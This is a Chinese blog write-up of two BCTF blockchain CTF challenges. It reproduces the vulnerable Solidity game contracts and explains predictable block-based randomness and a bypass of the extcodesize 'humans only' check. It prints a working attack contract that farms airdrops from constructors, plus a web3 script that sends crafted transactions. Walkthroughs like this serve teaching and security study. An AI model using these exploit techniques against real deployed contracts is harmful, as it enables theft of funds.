Bctf Blockchain 两则详解——带你玩转区块链

近来各大ctf中,纷纷冒出了一个新题型——Blockchain,从HCTF开始到BCTF,作为一只web狗,还是要紧跟时代学习一下(毕竟web狗啥都要学),今天我们就来详细讨论一下这两题的解法,以及用到的知识点。

EOSGame

题目地址为:This contract is at 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F in Ropsten network.

这题是给了合约代码的,先贴一下合约代码:

contract EOSToken{
    using SafeMath for uint256;
    string TokenName = "EOS";
    uint256 totalSupply = 100**18;
    address owner;
    mapping(address => uint256)  balances;

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    constructor() public{
        owner = msg.sender;
        balances[owner] = totalSupply;
    }
    function mint(address _to,uint256 _amount) public onlyOwner {
        require(_amount < totalSupply);
        totalSupply = totalSupply.sub(_amount);
        balances[_to] = balances[_to].add(_amount);
    }
    function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
        require(_amount < balances[_from]);
        balances[_from] = balances[_from].sub(_amount);
        balances[_to] = balances[_to].add(_amount);
    }
    function eosOf(address _who) public constant returns(uint256){
        return balances[_who];
    }
}

contract EOSGame{
    using SafeMath for uint256;
    mapping(address => uint256) public bet_count;
    uint256 FUND = 100;
    uint256 MOD_NUM = 20;
    uint256 POWER = 100;
    uint256 SMALL_CHIP = 1;
    uint256 BIG_CHIP = 20;
    EOSToken  eos;

    event FLAG(string b64email, string slogan);

    constructor() public{
        eos=new EOSToken();
    }
    function initFund() public{
        if(bet_count[tx.origin] == 0){
            bet_count[tx.origin] = 1;
            eos.mint(tx.origin, FUND);
        }
    }
    function bet(uint256 chip) internal {
        bet_count[tx.origin] = bet_count[tx.origin].add(1);
        uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
        uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
        uint256 shark = seed_hash % MOD_NUM;
        uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
        uint256 lucky = lucky_hash % MOD_NUM;
        if (shark == lucky){
            eos.transfer(address(this), tx.origin, chip.mul(POWER));
        }
    }
    function smallBlind() public {
        eos.transfer(tx.origin, address(this), SMALL_CHIP);
        bet(SMALL_CHIP);
    }
    function bigBlind() public {
        eos.transfer(tx.origin, address(this), BIG_CHIP);
        bet(BIG_CHIP);
    }
    function eosBlanceOf() public view returns(uint256) {
        return eos.eosOf(tx.origin);
    }
    function CaptureTheFlag(string b64email) public{
        require (eos.eosOf(tx.origin) > 18888);
        emit FLAG(b64email, "Congratulations to capture the flag!");
    }
}

如果你看不懂?没关系,我准备了,在互联网上找了个不错的视频教程,就无偿奉献给大家了。戳这里 提取码是:uh7p 。

合约内容解析

下面我们先来大体看一下合约的内容:

首先第一个合约是写了一个token,EOSToken,可以理解为一种游戏币(毕竟ctf就是一场游戏,23333)

然后两个合约都使用了这么一句:

using SafeMath for uint256;

这里主要是为了防止溢出的,溢出?没错,在智能合约中,如果没有对某些数据类型进行限制,确实会导致溢出,这也导致了很多攻击的产生。详细分析戳这里

然后我们先看看怎么才能获取flag,很容易找到限制条件:

require (eos.eosOf(tx.origin) > 18888);

只要我们的EOSToken是大于18888的,就能成功获得flag了。

然后我们来看这个game的具体逻辑:

这个函数是如果你第一次玩这个游戏,会给你发放100个token。

下面到了整个游戏的关键函数bet:

这是一个赌钱函数,首先会生成一个随机数,然后用你当前账户的赌博次数在生成一个随机数,同时对20取余,如果两个余数相等,那么会给你你赌资的100倍奖励,这里就涉及到了我们本题的考点了,solidity智能合约随机数预测,有关科普戳这里

我理解为 如果生成随机数使用的种子使用的是有关当前区块的有关信息,那就是可以预测的,因为如果使用合约调用合约,那两个交易会被打包在一个区块内,那生成种子的所有信息,攻击合约都可以获得,攻击合约可以利用这些信息,生成完全一样的随机数。

接下来,两个函数,分别是小赌和大赌,赌资分别是1 和 20。

理清攻击流程

那么很显然,我们的攻击流程可以归结如下:

编写攻击合约

合约如下:

差不多每次调用获取的收益在 20*100 左右,手动调用几次就能获取flag

获取flag

当你的余额足够了以后,调用当前合约的flag函数,将邮箱的base64作为参数传入,即可获取flag邮件

 

Fake3D

合约地址:This game is at 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a in Ropsten network.

贴一下合约代码:

contract WinnerList{
    address public owner;
    struct Richman{
        address who;
        uint balance;
    }

    function note(address _addr, uint _value) public{
        Richman rm;
        rm.who = _addr;
        rm.balance = _value;
    }

}

contract Fake3D {
    using SafeMath for *;
    mapping(address => uint256)  public balance;
    uint public totalSupply  = 10**18;
    WinnerList wlist;

    event FLAG(string b64email, string slogan);

    constructor(address _addr) public{
        wlist = WinnerList(_addr);
    }

    modifier turingTest() {
            address _addr = msg.sender;
            uint256 _codeLength;
            assembly {_codeLength := extcodesize(_addr)}
            require(_codeLength == 0, "sorry humans only");
            _;
    }

    function transfer(address _to, uint256 _amount) public{
        require(balance[msg.sender] >= _amount);
        balance[msg.sender] = balance[msg.sender].sub(_amount);
        balance[_to] = balance[_to].add(_amount);
    }


    function airDrop() public turingTest returns (bool) {
        uint256 seed = uint256(keccak256(abi.encodePacked(
            (block.timestamp).add
            (block.difficulty).add
            ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
            (block.gaslimit).add
            ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
            (block.number)
        )));

        if((seed - ((seed / 1000) * 1000)) < 288){
            balance[tx.origin] = balance[tx.origin].add(10);
            totalSupply = totalSupply.sub(10);
            return true;
        }
        else
            return false;
    }

   function CaptureTheFlag(string b64email) public{
        require (balance[msg.sender] > 8888);
        wlist.note(msg.sender,balance[msg.sender]);
        emit FLAG(b64email, "Congratulations to capture the flag?");
    }

}

浏览一遍,发现是一个很明显的薅羊毛的游戏,但是这里有个判断:

assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");

于是搜索到了一篇文章,文章地址

文章中说到,当一个合约在执行构造函数的时候,其extcodesize也为0 ,所以首先写出薅羊毛合约。

攻击合约

这里就借用 r3kapig 队伍写的来测试:

contract father {
    function father() payable {}
    Son son;
    function attack(uint256 times) public {
        for(uint i=0;i<times;i++){
            son = new Son();
        }
    }
    function () payable {
    }
}
contract Son {
    function Son() payable {
        Fake3D f3d;
        f3d=Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
        f3d.airDrop();
        if (f3d.balance(this)>=10)
        {
            f3d.transfer(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91,10);
        }
        selfdestruct(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91);
    }
    function () payable{
    }
}

这样调用 attack(150) 一次,大概可以得到400的收益,调用20次左右即可达到要求。

可以通过写脚本,来不断调用这个方法,脚本如下:

但是在达到要求之后,在调用getflag的过程中遇到了问题,总是调用失败。

继续探索

于是想到了可能 合约WinnerList 给出的代码不准确,于是调用脚本去读取整整WinnerList 合约的地址:

得到了WinnerList 的实际地址为:0xd229628fd201a391cf0c4ae6169133c1ed93d00a

于是反编译:https://ethervm.io/decompile?address=0xd229628fd201a391cf0c4ae6169133c1ed93d00a&network=ropsten

在反编译的函数中发现了一个关键判断:

总结一下就是调用的地址最后两位必须是43 或者倒数三四位必须是b1 。

这里使用工具爆破一下,得到合法的地址:

获取flag

我们先将token 通过tranfer方法交易给满足条件的账户,然后再调用flag函数:

即可完成整个的交易,获取flag。

脚本如下:

from web3 import Web3
import sha3

my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/2b86c426683f4a6095fd175fe931d799")
assert my_ipc.isConnected()
runweb3 = Web3(my_ipc)
myaccount = "your account"
private = "your private key"
constract = "0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a"

transaction_dict1 = {
        'from':Web3.toChecksumAddress(myaccount),
        'to':constract,
        'gasPrice':10000000000, 
        'gas':3000000,
        'nonce': None,
        'value':0,
        'data': 
"0xa9059cbb000000000000000000000000c918033c74054a190ed8004fdadf1b53f04a05430000000000000000000000000000000000000000000000000000000000002328"
    } # 原来账户转账给爆破出的账户 tranfer
transaction_dict = {
        'from':Web3.toChecksumAddress(myaccount),
        'to':constract,
        'gasPrice':10000000000, 
        'gas':3000000,
        'nonce': None,
        'value':0,   
        'data': 
"0x9590729100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000021205933567464486831616d6c68596d6c755147647459576c734c6d4e7662513d3d00000000000000000000000000000000000000000000000000000000000000"
    } # 满足要求的账户调用flag函数
def init():
    myNonce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(myaccount))
    print(myNonce)
    transaction_dict["nonce"] = myNonce
    r = runweb3.eth.account.signTransaction(transaction_dict, private)
    try:
        runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
    except:
        pass
if __name__ == '__main__':
    while True:
        init()

 

后记

作为一只刚入门这个方向的半小白,从一无所知花了几天时间慢慢了解了这些东西,觉得做这些题目还挺有意思的,当然可能有很多笨拙的地方,还请大佬们多多指教。

(完)